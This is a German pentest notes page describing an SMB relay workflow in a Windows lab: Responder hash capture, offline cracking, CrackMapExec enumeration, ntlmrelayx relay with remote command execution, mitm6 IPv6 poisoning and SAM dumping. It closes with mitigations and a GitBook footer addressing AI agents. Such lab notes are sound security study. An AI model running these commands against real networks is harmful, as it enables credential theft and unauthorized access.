> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/windows-vulnerabilities/smb-relay-in-windows-environments.md).

# SMB-Relay in Windows-Umgebungen

SMB-Relay erfasst NTLM-Authentifizierung und leitet sie an einen anderen Host weiter, wenn SMB-Signing nicht erforderlich ist. Dieser Workflow ist für autorisierte Windows-Labore und interne Assessments gedacht.

## Zu überprüfende Bedingungen

* SMB-Signing ist bei mindestens einem Ziel nicht erforderlich.
* Das erfasste Konto verfügt über nützlichen Zugriff auf ein Relay-Ziel.
* Responder SMB- und HTTP-Server sind deaktiviert, wenn `ntlmrelayx` das Relay verarbeitet.
* Relay-Ziele sind aufgeführt in `targets.txt`.

## NTLMv2 mit Responder erfassen

```bash
python3 /usr/share/responder/Responder.py -I ens33 -w -d
```

<figure><img src="/files/7506caab353120fba13f0f8c0da277d994533572" alt="Responder listening for Windows name resolution traffic"><figcaption></figcaption></figure>

Windows-Netzwerke erzeugen oft automatische Authentifizierung durch Softwareinventarisierung, Administrationsaufgaben, Freigabezugriffe und Namensauflösung.

<figure><img src="/files/169556479bc0522d14f38f1059abbd4c7aec8474" alt="Responder capturing NTLMv2 authentication"><figcaption></figcaption></figure>

<figure><img src="/files/3ce73d73a45299ce0d5a28c426da9ee6a060605d" alt="Captured NTLMv2 hash output"><figcaption></figcaption></figure>

## Offline-Cracking

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hashes
```

<figure><img src="/files/c4438ed8a6b05ab231cb793d8fb77282a5b464e5" alt="John cracking captured NTLMv2 hash"><figcaption></figcaption></figure>

<figure><img src="/files/f0c225082a683dddf7af3e5e99f689d9d63b0671" alt="Recovered password from NTLMv2 hash"><figcaption></figcaption></figure>

## SMB-Enumerierung

```bash
crackmapexec smb 192.168.71.0/24
```

<figure><img src="/files/a84063492b8e51ed7e3fbdd2678881b3eb856690" alt="CrackMapExec SMB scan"><figcaption></figcaption></figure>

<figure><img src="/files/74a6273d6aad51c95c0b888f0cec8166d076ae0b" alt="SMB signing and host enumeration output"><figcaption></figcaption></figure>

Kontorechte validieren:

```bash
crackmapexec smb 192.168.71.0/24 -u '<user>' -p '<password>'
```

<figure><img src="/files/7668966c1ba79097504a5807c288c36525611055" alt="Validating SMB access with recovered credentials"><figcaption></figcaption></figure>

## Relay mit ntlmrelayx

SMB und HTTP deaktivieren in `Responder.conf`, dann Responder ausführen:

```bash
python3 /usr/share/responder/Responder.py -I ens33 -w -d
```

Das Relay starten:

```bash
ntlmrelayx.py -tf targets.txt -smb2support
```

<figure><img src="/files/239f2dd0b0312cab2b093e4c24d9f925237fb879" alt="ntlmrelayx started with target file"><figcaption></figcaption></figure>

<figure><img src="/files/4b962ff3ce9e2e05f6a3cb08995529fc49f8287d" alt="Successful SMB relay output"><figcaption></figcaption></figure>

## Validierung der Befehlsausführung über das Relay

Wenn die Befehlsausführung im Scope ist, das Relay zunächst mit einem wenig invasiven Befehl validieren:

```bash
ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"
```

Für einen klareren Nachweis die Ausführungskontextinformationen in eine temporäre Datei auf dem Relay-Ziel schreiben:

```bash
ntlmrelayx.py -tf targets.txt -smb2support -c "cmd /c whoami > C:\Windows\Temp\relay-check.txt"
```

<figure><img src="/files/f17fc1f7e0c371fb92fd19279e06029813319a1a" alt="ntlmrelayx executing a PowerShell command"><figcaption></figcaption></figure>

<figure><img src="/files/c999f4a55511886568961c8a8b2221c0e46718c9" alt="SMB relay command execution validation"><figcaption></figcaption></figure>

## IPv6-Variante mit mitm6

```bash
mitm6 -d j0rdan.local
```

<figure><img src="/files/86e9a0dfa382031e3b391957435ed7e94387977b" alt="mitm6 started against the lab domain"><figcaption></figcaption></figure>

<figure><img src="/files/ebf5d403198c2d8f9509149d336a310b50645f0c" alt="mitm6 DHCPv6 poisoning output"><figcaption></figcaption></figure>

IPv6-Relay:

```bash
ntlmrelayx.py -6 -wh 192.168.71.128 -t smb://192.168.71.151 -socks -debug -smb2support
```

<figure><img src="/files/fada84ae40560b334a85dae81e05ba560970ffe5" alt="ntlmrelayx IPv6 relay with SOCKS enabled"><figcaption></figcaption></figure>

Das Relay über den Proxy verwenden:

```bash
proxychains cme smb 192.168.71.151 -u '<user>' -p '<password>' -d '<domain>' --sam
```

## Wichtige Punkte

* SMB-Relay hängt hauptsächlich davon ab, dass SMB-Signing nicht erforderlich ist.
* Responder und `ntlmrelayx` müssen so konfiguriert werden, dass sie nicht um SMB- oder HTTP-Verkehr konkurrieren.
* Abhilfe schaffen durch das Erzwingen von SMB-Signing, die Reduzierung der NTLM-Nutzung, die Überwachung von LLMNR/NBNS/WPAD-Missbrauch und die Einschränkung lokaler Administratorrechte.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/windows-vulnerabilities/smb-relay-in-windows-environments.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
